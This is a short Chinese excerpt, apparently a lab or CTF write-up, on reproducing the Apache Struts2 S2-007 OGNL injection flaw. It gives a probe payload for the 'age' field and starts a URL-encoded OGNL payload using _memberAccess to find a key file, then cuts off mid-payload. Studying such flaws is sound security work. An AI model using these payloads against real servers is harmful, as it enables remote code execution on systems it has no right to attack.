0x21.Apache Struts2远程代码执行漏洞(S2-007)复现

s2-007：当配置了验证规则，类型转换出错时，进行了错误的字符串拼接，进而造成了OGNL语句的执行； 抓包，在age值处输入poc； poc：'+(#application)+' 判断出在age输入框存在s2-007漏洞； 输入poc查找key文件位置，得到key值； poc：%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%

>>阅读原文<<